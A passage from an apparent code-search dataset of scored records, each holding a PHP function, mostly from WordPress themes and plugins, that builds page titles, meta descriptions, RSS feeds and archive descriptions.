$this->pearRegistry->baseUrl . PEAR_THEMES_DIRECTORY . $this->selectedTheme['theme_key'] . '/StyleSheets/PearRtl.css\" />';\r\n\t \t}\r\n\t \t\r\n\t \t//-------------------------------\r\n\t \t//\tJavascripts\r\n\t \t//-------------------------------\r\n\t \t\r\n\t \tforeach ( explode(',', trim($this->pearRegistry->cleanPermissionsString($this->selectedTheme['theme_js_files']))) as $jsFile )\r\n\t \t{\r\n\t \t\tif (! empty($jsFile) )\r\n\t \t\t{\r\n\t \t\t\t$this->addJSFile( $this->pearRegistry->baseUrl . PEAR_THEMES_DIRECTORY . $this->selectedTheme['theme_key'] . '/Client/JScript/' . $jsFile, true );\r\n\t \t\t}\r\n\t \t}\r\n\t \t\r\n\t \tforeach ( $this->jsFiles as $jsFile )\r\n\t \t{\r\n\t \t\t$out .= '<script type=\"text/javascript\" src=\"' . $jsFile . '\"></script>';\r\n\t \t}\r\n\t \t\r\n \t\treturn $out;\r\n }", "title": "" }, { "docid": "d6de065fd0c07fe4b88837a5d827c548", "score": "0.56436324", "text": "function conure_filter_wp_title( $title ){\n\treturn $title . esc_attr( get_bloginfo( 'name' ) );\n}", "title": "" }, { "docid": "9ecf9a01fe6b1d18d4a1b395b3c99821", "score": "0.5639666", "text": "function e2wdashboard_rss_dashboard_widget_function() {\n\t$rss = fetch_feed( \"http://www.expand2web.com/blog/feed/rss/\" );\n\n\tif ( is_wp_error($rss) ) {\n\t\tif ( is_admin() || current_user_can('manage_options') ) {\n\t\t\techo '<p>';\n\t\t\tprintf(__('<strong>RSS Error</strong>: %s'), $rss->get_error_message());\n\t\t\techo '</p>';\n\t\t}\n\t\treturn;\n\t}\n\n\tif ( !$rss->get_item_quantity() ) {\n\t\techo '<p>Visit Expand2web.com - Our feed must be down.</p>';\n\t\t$rss->__destruct();\n\t\tunset($rss);\n\t\treturn;\n\t}\n\n\techo \"<ul>\\n\";\n\n\tif ( !isset($items) )\n\t\t$items = 6;\n\n\tforeach ( $rss->get_items(0, $items) as $item ) {\n\t\t$publisher = '';\n\t\t$site_link = '';\n\t\t$link = '';\n\t\t$content = '';\n\t\t$date = '';\n\t\t$link = esc_url( strip_tags( $item->get_link() ) );\n\t\t$title = $item->get_title();\n\t\t$content = $item->get_content();\n\t\t$content = wp_html_excerpt($content, 150) . ' ...';\n\n\t\techo \"\\t<li><a class='rsswidget' href='$link'>$title</a><br /> $content</li>\\n\";\n\t}\n\n\techo \"</ul>\\n\";\n\t$rss->__destruct();\n\tunset($rss);\n}", "title": "" }, { "docid": "9f901c9f6bf8cc8185e5d9e141b45b10", "score": "0.56353277", "text": "function essence_default_description($bloginfo) {\n $default_tagline = 'Just another WordPress site';\n return ($bloginfo === $default_tagline) ? '' : $bloginfo;\n}", "title": "" }, { "docid": "4d984f45fd2d0293a1f306421daf5156", "score": "0.56293124", "text": "function snax_get_share_description() {\n\tremove_filter( 'the_content', 'snax_render_quiz' );\n\t$excerpt = get_the_excerpt();\n\tadd_filter( 'the_content', 'snax_render_quiz' );\n\n\treturn apply_filters( 'snax_share_description', $excerpt );\n\n}", "title": "" }, { "docid": "94790d94a1eece4c6f17453bf590db74", "score": "0.5627679", "text": "function newsdot_customize_partial_blogdescription() {\n\tbloginfo( 'description' );\n}", "title": "" }, { "docid": "ee40a932788efd7bee7f2722c3b3c1a5", "score": "0.5597717", "text": "function rw_title( $title, $sep, $seplocation ) {\r\n global $page, $paged;\r\n\r\n // Don't affect in feeds.\r\n if ( is_feed() ) return $title;\r\n\r\n // Add the blog's name\r\n if ( 'right' == $seplocation ) {\r\n $title .= get_bloginfo( 'name' );\r\n } else {\r\n $title = get_bloginfo( 'name' ) . $title;\r\n }\r\n\r\n // Add the blog description for the home/front page.\r\n $site_description = get_bloginfo( 'description', 'display' );\r\n\r\n if ( $site_description && ( is_home() || is_front_page() ) ) {\r\n $title .= \" {$sep} {$site_description}\";\r\n }\r\n\r\n // Add a page number if necessary:\r\n if ( $paged >= 2 || $page >= 2 ) {\r\n $title .= \" {$sep} \" . sprintf( __( 'Page %s', 'dbt' ), max( $paged, $page ) );\r\n }\r\n\r\n return $title;\r\n\r\n}", "title": "" }, { "docid": "0fb9148209962dac363918b371972a7c", "score": "0.55936176", "text": "function ad_append_author_details_bio($content) {\n\tglobal $post;\n\n\t$ad_global_display_on_home_page = get_option( AD_Config::ad_global_display_on_home_page );\t\t// is_home()\n\t$ad_global_display_on_page = get_option( AD_Config::ad_global_display_on_page );\t\t\t\t\t// is_page()\n\t$ad_global_display_on_single_post = get_option( AD_Config::ad_global_display_on_single_post );\t// is_single()\n\t$ad_global_display_on_archive_page = get_option( AD_Config::ad_global_display_on_archive_page );\t// is_archive()\n\t$ad_global_display_on_top = get_option( AD_Config::ad_global_display_on_top );\t\t\t\t\t// display author box on top of post\n\t\n\t$content=preg_replace_callback(\"/\\[author-details=.*\\]/\",'ad_filter_shortcode_callback',$content);\n\t$content=preg_replace_callback(\"/\\[author-details\\]/\",'ad_filter_shortcode_with_no_username_callback',$content);\n\t\n\tif( is_home() && $ad_global_display_on_home_page){\n\t\tif($ad_global_display_on_top){\n\t\t\t$content = ad_get_current_author_bio() . $content;\n\t\t}else{\n\t\t\t$content .= ad_get_current_author_bio();\n\t\t}\n\t}\n\tif( is_page() && $ad_global_display_on_page){\n\t\tif($ad_global_display_on_top){\n\t\t\t$content = ad_get_current_author_bio() . $content;\n\t\t}else{\n\t\t\t$content .= ad_get_current_author_bio();\n\t\t}\n\t}\n\tif( is_single() && $ad_global_display_on_single_post){\n\t\tif($ad_global_display_on_top){\n\t\t\t$content = ad_get_current_author_bio() . $content;\n\t\t}else{\n\t\t\t$content .= ad_get_current_author_bio();\n\t\t}\n\t}\n\tif( is_archive() && $ad_global_display_on_archive_page){\n\t\tif($ad_global_display_on_top){\n\t\t\t$content = ad_get_current_author_bio() . $content;\n\t\t}else{\n\t\t\t$content .= ad_get_current_author_bio();\n\t\t}\n\t}\n\t\n\t\n// \tif ( ! is_page() ){\n\t\t\n// \t\t$content=preg_replace_callback(\"/\\[author-details=.*\\]/\",'ad_filter_shortcode_callback',$content);\n// \t\t$content=preg_replace_callback(\"/\\[author-details\\]/\",'ad_filter_shortcode_with_no_username_callback',$content);\n\t\t\n// \t\tif( ! is_home() ){\n// \t\t\t$content .= ad_get_current_author_bio();\n// \t\t}\n// \t}\n\treturn $content;\n}", "title": "" }, { "docid": "8c179399449952cb0a6f00b3f1f7d06b", "score": "0.5584093", "text": "function the_excerpt_rss() {\n\t$output = get_the_excerpt();\n\t/**\n\t * Filter the post excerpt for a feed.\n\t *\n\t * @since 1.2.0\n\t *\n\t * @param string $output The current post excerpt.\n\t */\n\techo apply_filters( 'the_excerpt_rss', $output );\n}", "title": "" }, { "docid": "9455c343843c7f70be5c35ffd22f91fa", "score": "0.55675554", "text": "public function rss() {\n\n $this->preload();\n if (isset($this->request->get['id'])) {\n $id = (int)$this->request->get['id'];\n } else {\n $id = 0;\n }\n\n $category_info = $this->getModel()->getInfo($id);\n\n $output = '<?xml version=\"1.0\" encoding=\"UTF-8\" ?>';\n $output .= '<rss version=\"2.0\">';\n $output .= '<channel>';\n\n $output .= '<title><![CDATA[' . $category_info['title'] . \" - \" . $this->config->get('config_name')\n . ']]></title>';\n $output .= '<description><![CDATA[' . $this->config->get('config_meta_description') . ']]></description>';\n $output .= '<link><![CDATA[' . HTTP_SERVER . ']]></link>';\n\n $page = 1;\n $limit = (int)$this->mparams->get('rss_limit_item') ? (int)$this->mparams->get('rss_limit_item') : 100;\n\n $data = array(\n 'filter_category_id' => $id,\n 'sort' => 'created',\n 'order' => 'ASC',\n 'start' => ($page - 1) * $limit,\n 'limit' => $limit\n );\n\n $blogs = $this->getModel('blog')->getListBlogs($data);\n\n\n foreach ($blogs as $blog) {\n $link = str_replace(\"&amp;\", \"&\", $this->url->link('pavblog/blog', 'id=' . $blog['blog_id']));\n if ($blog['image']) {\n $image = $this->model_tool_image->resize($blog['image'], $this->mparams->get('general_swidth'), $this->mparams->get('general_sheight'), 'w');\n $description = '<a href=\"' . $link . '\"><img class=\"rss_blog_image\" src=\"' . $image . '\"/></a>'\n . html_entity_decode($blog['description'], ENT_QUOTES, 'UTF-8');\n } else {\n $description = html_entity_decode($blog['description'], ENT_QUOTES, 'UTF-8');\n }\n\n $output .= '<item>';\n $output .= '<title><![CDATA[' . $blog['title'] . ']]></title>';\n $output .= '<link><![CDATA[' . $link . ']]></link>';\n $output .= '<description><![CDATA[' . $description . ']]></description>';\n $output .= '<guid>' . $blog['blog_id'] . '</guid>';\n $output .= '<pubDate>' . date('D, j F Y H:i:s e', strtotime($blog['created'])) . '</pubDate>';\n $output .= '</item>';\n }\n $output .= '</channel>';\n $output .= '</rss>';\n $this->response->addHeader('Content-Type: application/rss+xml');\n $this->response->setOutput($output);\n }", "title": "" }, { "docid": "ab029ca2104f7cf318b2e2751e9f10e8", "score": "0.5565467", "text": "function printFeedHeader($type) {\n if (is_author()) {\n if (get_query_var('author_name')) :\n $user = get_user_by('slug', get_query_var('author_name'));\n else :\n $user = get_userdata(get_query_var('author'));\n endif;\n } else {\n $user = null;\n }\n \n // add namespace to rss files\n if ($type == 'rss') {\n $namespace = \"atom:\";\n } else {\n $namespace = \"\";\n }\n\n echo \"<\".$namespace.\"link rel='salmon' href='\".SalmonPlugin::generateApiUrl($user).\"'/>\";\n echo \"<\".$namespace.\"link rel='http://salmon-protocol.org/ns/salmon-replies' href='\".SalmonPlugin::generateApiUrl($user).\"'/>\";\n echo \"<\".$namespace.\"link rel='http://salmon-protocol.org/ns/salmon-mention' href='\".SalmonPlugin::generateApiUrl($user).\"'/>\";\n }", "title": "" }, { "docid": "d12218118e6facfab4c350a93267d8ea", "score": "0.5560433", "text": "public function getFeed()\n {\n echo '<div id=\"sidebar-right\">';\n //converts the xml string property into an xml object\n $xml = simplexml_load_string($this->feedXml);\n print '<h1>' . $this->feedName . '</h1>';\n foreach($xml->channel->item as $story)\n {\n \t//in here we erase a line from the description to make the story look better\n $desc = \n str_replace(\n \t\t'<br><div style=\"padding-top:0.8em;\"><img alt=\"\" height=\"1\" width=\"1\">'\n \t\t,'',$story->description);\n //echo '<a href=\"' . $story->link . '\">' . $story->title . '</a><br />'; \n echo '<p class=\"border\">' . $desc . '</p><br /><br />';\n }\n \n get_footer(); #defaults to footer_inc.php\n echo '</div>';\n }", "title": "" }, { "docid": "9404732e088d3a3830a6f813d5226b71", "score": "0.55482084", "text": "function meta_description( $char_limit ) {\n\t\t$tagline = get_bloginfo ( 'description' );\n // We match custom post types with a page\n // This allows us to attach content to an archive\n // Here we match the post-type title to the page and grab the corrent post_object\n if ( is_archive() ) {\n $post_type_title = post_type_archive_title('', false);\n $post_object = get_page_by_title( $post_type_title );\n } else {\n\t\t $post_object = get_post();\n }\n\t\t$excerpt = $post_object->post_excerpt; // Get the raw excerpt, warts (tags) and all.\n\t\t$content = $post_object->post_content; // Get the raw content.\n\t\tif ( !empty( $excerpt ) ) { // If there is an excerpt lets use it to generate a meta description\n\t\t\t\t$excerpt_stripped = strip_tags( $excerpt ); // Remove any tags using the PHP function strip_tags.\n\t\t\t\t$excerpt_length = strlen( $excerpt_stripped ); // Now lets count the characters\n\t\t\t\tif ( $excerpt_length > $char_limit ) { // Now work out if we need to trim the character length.\n\t\t\t\t\t\t$offset = $char_limit - $excerpt_length; // This gives us a negative value.\n\t\t\t\t\t\t$position = strrpos( $excerpt_stripped, ' ', $offset ); // This starts looking for a space backwards from the offset\n\t\t\t\t\t\t$description = substr( $excerpt_stripped, 0, $position ); // Trim up until the point of the last space.\n\t\t\t } else {\n\t\t\t\t\t\t$description = $excerpt_stripped; // The excerpt must be less than the char_limit so lets just print it.\n\t\t\t\t}\n\t\t} elseif( !empty( $content ) ) {\n\t\t\t\t// If no excerpt exists we use the content, note the use of get_post as we are outside the loop.\n\t\t\t\t$content_stripped = strip_tags( $content );\n\t\t\t\t$content_length = strlen( $content_stripped );\n\t\t\t\tif ( $content_length > $char_limit ) {\n\t\t\t\t $content_trimmed = substr( $content_stripped, 0, $char_limit ); // Trim the raw content back to the character limit\n\t\t\t\t $last_space = strrpos( $content_trimmed, ' ' ); // Find the last space in the trimmed content which could include incomplete words\n\t\t\t\t\t\t$description = substr( $content_trimmed, 0, $last_space ); // Re-trim the content to the point of the last space.\n\t\t\t } else {\n\t\t\t\t\t\t$description = $content_stripped;\n\t\t\t\t}\n\t\t} else {\n\t\t $description = $tagline; // If the page is empty we can use the tagline to prevent emptiness.\n\t\t}\n\t\treturn $description;\n}", "title": "" }, { "docid": "d957e010f5dbb39aafcc16428a64dd26", "score": "0.55406576", "text": "function crmpress_do_title() {\n\n\t?>\n\t<title><?php\n\t\n\t\tglobal $page, $paged;\n\n\t\twp_title( '|', true, 'right' );\n\n\t\t// add the blog name\n\t\tbloginfo( 'name' );\n\n\t\t// add the blog description for the home/front page\n\t\t$site_description = get_bloginfo( 'description', 'display' );\n\t\tif ( $site_description && ( is_home() || is_front_page() ) )\n\t\t\techo \" | $site_description\";\n\n\t\t// add a page number if necessary\n\t\tif ( $paged >= 2 || $page >= 2 )\n\t\t\techo ' | ' . sprintf( __( 'Page %s', 'twentyeleven' ), max( $paged, $page ) );\n\n\t?></title>\n\t<?php\n\n}", "title": "" }, { "docid": "98b4ebd15853c115b55509f5328c06e5", "score": "0.5528213", "text": "function comment_author_rss() {\n\techo get_comment_author_rss();\n}", "title": "" }, { "docid": "8925d700033b6385dbb866c5518dc904", "score": "0.5518387", "text": "function beans_site_title_tag() {\n\n\t// Stop here if there isn't a description.\n\tif ( !$description = get_bloginfo( 'description' ) )\n\t\treturn;\n\n\techo beans_open_markup( 'beans_site_title_tag', 'span', array(\n\t\t'class' => 'tm-site-title-tag uk-text-small uk-text-muted uk-display-block',\n\t\t'itemprop' => 'description'\n\t) );\n\n\t\techo beans_output( 'beans_site_title_tag_text', $description );\n\n\techo beans_close_markup( 'beans_site_title_tag', 'span' );\n\n}", "title": "" }, { "docid": "bee37abcb6c0c218e17f03bd21d41e53", "score": "0.55179965", "text": "function the_category_rss($type = null) {\n\techo get_the_category_rss($type);\n}", "title": "" }, { "docid": "1fbdb774fa9950199711d88081058114", "score": "0.55051374", "text": "function meta_description() {\n if ( is_home() ) {\n echo '<meta name=\"description\" content=\"' . get_bloginfo( \"description\" ) . '\" />' . \"\\n\";\n\t\t$cats = get_categories( );\n\t\t$keys = array();\n\t\tforeach ($cats as $c) {\n\t\t\tarray_push( $keys, $c->name );\n\t\t}\n\t\techo '<meta name=\"keywords\" content=\"' . implode( ',', $keys ) . '\" />' . \"\\n\";\n }\n if ( is_page() ) {\n\t\t$excerpt = get_the_excerpt();\n\t\t$excerpt = substr($excerpt, 0, 160);\n\t\t$excerpt = substr($excerpt, 0, strrpos($excerpt, ' '));\n\t\tif ( empty( $excerpt ) ) {\n\t\t\techo '<meta name=\"description\" content=\"' . get_bloginfo( \"description\" ) . '\" />' . \"\\n\";\n\t\t} else {\n\t\t\t$excerpt = wp_strip_all_tags( $excerpt, true );\n\t\t\t$excerpt = strip_shortcodes( $excerpt );\n\t\t\t$excerpt = str_replace( array(\"\\n\", \"\\r\", \"\\t\"), ' ', $excerpt );\n\t\t\t$excerpt = mb_substr( $excerpt, 0, 300, 'utf8' );\n\t\t\techo '<meta name=\"description\" content=\"' . $excerpt . '\" />' . \"\\n\";\n\t\t}\n }\n if ( is_category() ) {\n $cat = wp_strip_all_tags( category_description() );\n echo '<meta name=\"description\" content=\"' . $cat . '\" />' . \"\\n\";\n }\n}", "title": "" }, { "docid": "8dea17e22d0bffbc553499813094514b", "score": "0.5504991", "text": "function autonomie_get_the_archive_description() {\n\tif ( is_home() ) {\n\t\treturn get_bloginfo( 'description' );\n\t} elseif ( is_author() ) {\n\t\treturn get_the_author_meta( 'description' );\n\t} elseif ( is_archive() ) {\n\t\treturn get_the_archive_description();\n\t} elseif ( is_search() ) {\n\t\t// @see https://github.com/raamdev/independent-publisher/blob/513e7ff71312f585f13eb1460b4d9bc74d0b59bd/inc/template-tags.php#L674\n\t\tglobal $wp_query;\n\t\t$total = $wp_query->found_posts;\n\t\t// translators: Description for search results\n\t\t$stats_text = sprintf( _n( 'Found %1$s search result for <strong>%2$s</strong>.', 'Found %1$s search results for <strong>%2$s</strong>.', $total, 'autonomie' ), number_format_i18n( $total ), get_search_query() );\n\n\t\treturn wpautop( $stats_text );\n\t}\n}", "title": "" }, { "docid": "a86615f98b67055d19c9d2fdaffccc56", "score": "0.550265", "text": "function wpu_blogdesc($default) {\n\tglobal $wpSettings, $wpuAbs;\n\tif ( !empty($wpSettings['usersOwnBlogs']) ) {\n\t\t$authorID = wpu_get_author();\n\t\tif ( !empty($authorID) ) {\n\t\t\t$blog_tagline = get_usermeta($authorID, 'blog_tagline');\n\t\t\tif ( empty($blog_tagline) ) {\n\t\t\t\t$blog_tagline = $wpuAbs->lang('default_blogdesc');\n\t\t\t}\n\t\t\t$blog_tagline = wpu_censor($blog_tagline);\n\t\t\treturn $blog_tagline;\n\t\t}\n\t}\n\treturn $default;\n}", "title": "" }, { "docid": "5b3ce66d1ff9afc97c0d18412aff3265", "score": "0.54972345", "text": "function the_archive_description( $before = '', $after = '' ) {\n\t\t$description = apply_filters( 'get_the_archive_description', term_description() );\n\n\t\tif ( ! empty( $description ) ) {\n\n\t\t\t/**\n\t\t\t * Filter the archive description.\n\t\t\t *\n\t\t\t * @see term_description()\n\t\t\t *\n\t\t\t * @param string $description Archive description to be displayed.\n\t\t\t */\n\t\t\techo $before . $description . $after;\n\t\t}\n\t}", "title": "" }, { "docid": "94ef121b3c9b007eee77142185793f12", "score": "0.5489273", "text": "function city_the_content_filter($content) {\n global $post;\t\t\n if( is_single() && 'city' == $post->post_type ){\n \t\t\n \t\t$url_base = get_post_meta( $post->ID, 'link_base', true );\n \t\t$city = get_post_meta( $post->ID, 'city_name', true );\n \t\t$state = get_post_meta( $post->ID, 'state_name', true );\n\n \t\t$url = sprintf('%s/search/mca',$url_base);\n \t\t$rss = sprintf('%s?format=rss', $url);\n\n \t\t$content = sprintf('<div class=\"cleafix\"><h3>%s, %s</h3><p><a href=\"%s\" target=\"_BLANK\">See All Autos For Sale</a></p><hr/></div>',ucwords($city), ucwords($state), $url);\n\n \t\t$content .= '<div class=\"widget kopa-masonry-list-1-widget\">\n\t<div class=\"masonry-list-wrapper\">';\n\n \t\t$args = array('show_summary' => 1, 'show_date' => 1);\n\n \t\t// later, you in your theme\n\t\tob_start();\n \t\tcity_content_rss_output($rss, $args);\n \t\t$content .= ob_get_clean();\n\n \t\t$content .= '</div>\n \t\t</div>';\n }\n\n // otherwise returns the database content\n return $content;\n}", "title": "" }, { "docid": "90dc9d5368672a0162e9e10e982f7c6a", "score": "0.548013", "text": "function x_theme_map_page_rss($title, $tree, $parent=0, $precode='') {\n return $precode . '<h2>'.check_plain($title).'</h2> ' . theme_rss_map_tree_rss($tree, $parent);\n}", "title": "" }, { "docid": "1296b74dcbe565db313be0f3f5fc8dc9", "score": "0.5480056", "text": "function corpo_filter_wp_title( $old_title, $sep, $sep_location ){\r\n \r\n // add padding to the sep\r\n $ssep = ' ' . $sep . ' ';\r\n \r\n // find the type of index page this is\r\n if( is_category() ) $insert = $ssep . __('Category','corpo');\r\n elseif( is_tag() ) $insert = $ssep . __('Tag','corpo');\r\n elseif( is_author() ) $insert = $ssep . __('Author','corpo');\r\n elseif( is_year() || is_month() || is_day() ) $insert = $ssep . __('Archives','corpo');\r\n elseif( is_home() ) $insert = $ssep . get_bloginfo('description');\r\n else $insert = NULL;\r\n \r\n // get the page number we're on (index)\r\n if( get_query_var( 'paged' ) )\r\n $num = $ssep . __('Page ','corpo') . get_query_var( 'paged' );\r\n \r\n // get the page number we're on (multipage post)\r\n elseif( get_query_var( 'page' ) )\r\n $num = $ssep . __('Page ','corpo') . get_query_var( 'page' );\r\n \r\n // else\r\n else $num = NULL;\r\n\r\n \r\n // concoct and return new title\r\n return get_bloginfo( 'name' ) . $insert . $old_title . $num;\r\n}", "title": "" }, { "docid": "f2bd72e327eeff667194cd142953be8e", "score": "0.5444186", "text": "function px_post_page_title(){\r\n\t\t\r\n\t\tif ( is_author() ) {\r\n\t\t\tglobal $author;\r\n\t\t\t$userdata = get_userdata($author);\r\n\t\t\techo __('Author', 'Media News') . \" \" . __('Archives', 'Media News') . \": \".$userdata->display_name;\r\n\t\t}\r\n \t\telseif ( is_tag() ) {\r\n\t\t\techo __('Tags', 'Media News') . \" \" . __('Archives', 'Media News') . \": \" . single_cat_title( '', false );\r\n\t\t}\r\n \t\telseif ( is_category() ) {\r\n\t\t\techo __('Categories', 'Media News') . \" \" . __('Archives', 'Media News') . \": \" . single_cat_title( '', false );\r\n\t\t}\r\n \t\telseif( is_search()){\r\n\t\t\tprintf( __( 'Search Results %1$s %2$s', 'Media News' ), ': ','<span>' . get_search_query() . '</span>' );\r\n\t\t}\r\n \t\telseif ( is_day() ) {\r\n\t\t\tprintf( __( 'Daily Archives: %s', 'Media News' ), '<span>' . get_the_date() . '</span>' );\r\n\t\t}\r\n \t\telseif ( is_month() ) {\r\n\t\t\tprintf( __( 'Monthly Archives: %s', 'Media News' ), '<span>' . get_the_date( _x( 'F Y', 'monthly archives date format', 'Media News' ) ) . '</span>' );\r\n\t\t}\r\n \t\telseif ( is_year() ) {\r\n\t\t\tprintf( __( 'Yearly Archives: %s', 'Media News' ), '<span>' . get_the_date( _x( 'Y', 'yearly archives date format', 'Media News' ) ) . '</span>' );\r\n\t\t}\r\n \t\telseif ( is_404()){\r\n\t\t\t_e( 'Error 404', 'Media News' );\r\n\t\t}\r\n \t\t\r\n\r\n\t}", "title": "" }, { "docid": "cea16a058f5c08b78eb30433f296d0a7", "score": "0.54341197", "text": "function wcb_title_tag() {\n\tglobal $page, $paged;\n\techo \"<title>\";\n\twp_title( '|', true, 'right' );\n\n\t// Add the blog name.\n\tbloginfo( 'name' );\n\n\t// Add the blog description for the home/front page.\n\t$site_description = get_bloginfo( 'description', 'display' );\n\tif ( $site_description && ( is_home() || is_front_page() ) )\n\t\techo \" | $site_description\";\n\n\t// Add a page number if necessary:\n\tif ( $paged >= 2 || $page >= 2 )\n\t\techo ' | ' . sprintf( __( 'Page %s', 'wordcampbase' ), max( $paged, $page ) );\n\techo \"</title>\";\n}", "title": "" }, { "docid": "cfa5953146d625d053f50dfa81bb6efe", "score": "0.54340595", "text": "private function getFeedAuthorName()\n {\n if (sfConfig::get('app_wsp_nopaste_plugin_feed_author_name'))\n {\n return sfConfig::get('app_wsp_nopaste_plugin_feed_author_name');\n }\n else\n {\n return 'wspNopastePlugin - Various Authors';\n }\n }", "title": "" }, { "docid": "852625e0464570c35be2f0b3014fb74b", "score": "0.5433214", "text": "function publiHAL_pre_syndication($rss) {\n\tinclude_spip('inc/publiHAL_gestion');\n\tif(!publiHAL_test_installation()) return '';\n\t//spip_log(\"debut publiHAL_pre_syndication !!!!!\");\n\t// A chercher les articles déjà présents avec FAIRE publiHAL_get_URLs puis les supprimer de $rss\n\t\n\t// copie des lignes 128 à 142 de syndic.php\n\t// Echapper les CDATA\n\t$echappe_cdata = array();\n\tif (preg_match_all(',<!\\[CDATA\\[(.*)]]>,Uims', $rss,\n\t$regs, PREG_SET_ORDER)) {\n\t\tforeach ($regs as $n => $reg) {\n\t\t\t$echappe_cdata[$n] = $reg[1];\n\t\t\t$rss = str_replace($reg[0], \"@@@SPIP_CDATA$n@@@\", $rss);\n\t\t}\n\t}\n\n\t// supprimer les commentaires\n\t$rss = preg_replace(',<!--\\s+.*\\s-->,Ums', '', $rss);\n\n\t// supprimer pulisher sans intéret :<dc:publisher>XXX - CCSd (ccsd.cnrs.fr)</dc:publisher>\n//\t$rss = str_replace('<dc:publisher>HAL - CCSd (ccsd.cnrs.fr)</dc:publisher>', '', $rss);\n//\t$rss = str_replace('<dc:publisher>INRIA - CCSd (ccsd.cnrs.fr)</dc:publisher>', '', $rss);\n//\t$rss = str_replace('<dc:publisher>TEL - CCSd (ccsd.cnrs.fr)</dc:publisher>', '', $rss);\n\t$rss = preg_replace('@<dc:publisher>((?U)[^<]+) - CCSd \\(ccsd\\.cnrs\\.fr\\)</dc:publisher>@is', '', $rss);\n\t$rss = str_replace('<dc:type>', '<dc:typedoc>', $rss);\n\t$rss = str_replace('</dc:type>', '</dc:typedoc>', $rss);\n\t\n\t// simplifier le backend, en supprimant les espaces de nommage type \"dc:\"\n\t$rss = preg_replace(',<(/?)(dc):,i', '<\\1', $rss);\n\t\n\t// suppression des items déjà présents \n\tglobal $publiHAL_itemBidon;\n\t$publiHAL_itemBidon=\"<item><link>http://bidon.complet.fr/</link><title>bidon</title></item>\";\n\t$rss = preg_replace_callback(\n\t\t\t',<(item|entry)([:[:space:]][^>]*)?>(.*)</\\1>,Uims',// copie de la ligne 165 de syndic.php\n\t\t\t\"publiHAL_supprime_si_deja_la\",\n\t\t\t$rss);//*/\n\t\t\n\t// Capture des noms et prénoms\n\t$rss = preg_replace('|\\<creator\\>\\s*(.*)\\s*,\\s*(.*)\\s*\\</creator\\>|Uims' ,\n\t\t\t\t '<creator>$1@@@SepPreNom@@@$2</creator>', \n\t\t\t\t $rss);\n\t// remet les CDATA\n//\tcdata_echappe_retour($rss, $echappe_cdata);\n\t//spip_log(\"passage 1 !!!!!!\");\n\treturn $rss;\n}", "title": "" }, { "docid": "5850f49ede683945895e7eb1a03f81a7", "score": "0.54309595", "text": "function mr_wp_title( $title ) {\n if ( is_feed() || class_exists('All_in_One_SEO_Pack') || class_exists('HeadSpace_Plugin') || class_exists('Platinum_SEO_Pack') || class_exists('wpSEO') || defined('WPSEO_VERSION') )\n return $title;\n if ( is_front_page() ) { \n $title = get_bloginfo('name').' - '.get_bloginfo('description');\n }\n if ( is_front_page() && get_bloginfo('description') == '' ) { \n $title = get_bloginfo('name');\n }\n if ( !is_front_page() ) { \n $title .= ' - '.get_bloginfo('name');\n }\n return $title;\n}", "title": "" }, { "docid": "b343c893d4e53b2357e9ede8a117c44f", "score": "0.54258066", "text": "function getDescription() {\n\t\treturn __('plugins.generic.externalFeed.description');\n\t}", "title": "" }, { "docid": "fd1e99bc0f0cd569b5bc32725fa0fec1", "score": "0.54204834", "text": "function wp_head()\n\t{\n\t\tif (is_feed()) // ignore logic if it's a feed\n\t\t{\n\t\t\treturn;\n\t\t}\n\n\t\tglobal $wp_query;\n\t\tglobal $fvseop_options;\n\n\t\t$post = $wp_query->get_queried_object();\n\n\t\t$meta_string = null;\n\n\t\tif ($this->is_static_posts_page())\n\t\t{\n\t\t\t// TODO: strip_tags return a string with all HTML and PHP tags stripped from a given str. Since\n\t\t\t// it uses a tag stripping state machine, probably it's better to remove this function if you\n\t\t\t// never use weird post titles.\n\t\t\t//\n\t\t\t// The apply_filters on 'single_post_title' ensure any previous plugin is applied.\n\t\t\t//\n\t\t\t// I would like to change this line to\n\t\t\t//\n\t\t\t// $title = $post->post_title;\n\t\t\t//\n\t\t\t// and save a lot of CPU cycles.\n\t\t\t$title = strip_tags(apply_filters('single_post_title', $post->post_title));\n\t\t}\n\n\t\tif (is_single() || is_page())\n\t\t{\n\t\t\t$fvseo_disable = htmlspecialchars(stripcslashes(get_post_meta($post->ID, '_aioseop_disable', true)));\n\n\t\t\tif ($fvseo_disable)\n\t\t\t{\n\t\t\t\treturn;\n\t\t\t}\n\t\t\t\n\t\t\t$post_noindex = get_post_meta($post->ID, '_aioseop_noindex', true);\n\t\t\t$post_nofollow = get_post_meta($post->ID, '_aioseop_nofollow', true);\n\t\t\tif( $post_noindex ) {\n\t\t\t\t$meta_robots[] = 'noindex';\n\t\t\t}\n\t\t\tif( $post_nofollow ) {\n\t\t\t\t$meta_robots[] = 'nofollow';\n\t\t\t}\t\n\t\t\tif( isset($meta_robots) && !empty($meta_robots) ) {\n\t\t\t\t$meta_string .= '<meta name=\"robots\" content=\"'.implode(',',$meta_robots).'\" />'.\"\\n\";\n\t\t\t}\n\t\t\t\n\t\t}\n\n\t\tif ($this->fvseop_mrt_exclude_this_page())\n\t\t{\n\t\t\treturn;\n\t\t}\n\n /// Modification - always enabled\n\t\tif ($fvseop_options['aiosp_rewrite_titles'] || 1>0)\n\t\t{\n\t\t\t// make the title rewrite as short as possible\n\t\t\tif (function_exists('ob_list_handlers'))\n\t\t\t{\n\t\t\t\t$active_handlers = ob_list_handlers();\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$active_handlers = array();\n\t\t\t}\n\t\t\t\n\t\t\tif ((sizeof($active_handlers) > 0) &&\n\t\t\t\t(strtolower($active_handlers[sizeof($active_handlers) - 1]) ==\n\t\t\t\tstrtolower('FV_Simpler_SEO_Pack::output_callback_for_title')))\n\t\t\t{\n\t\t\t\tob_end_flush(); // this ob_end_flush is matched with ob_start in template_redirect\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t// TODO:\n\t\t\t\t// if we get here there *could* be trouble with another plugin :(\n\t\t\t\t// decide what to do\n\t\t\t}\n\t\t}\n\n\t\tif ((is_home() && stripcslashes( $this->internationalize( $fvseop_options['aiosp_home_keywords'] ) ) &&\n\t\t\t!$this->is_static_posts_page()) || $this->is_static_front_page())\n\t\t{\n\t\t\t$keywords = trim( stripcslashes( $this->internationalize($fvseop_options['aiosp_home_keywords']) ) );\n\t\t}\n\t\telseif ($this->is_static_posts_page() && !$fvseop_options['aiosp_dynamic_postspage_keywords']) // and if option = use page set keywords instead of keywords from recent posts\n\t\t{\n\t\t\t$keywords = stripcslashes($this->internationalize(get_post_meta($post->ID, \"_aioseop_keywords\", true)));\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$keywords = 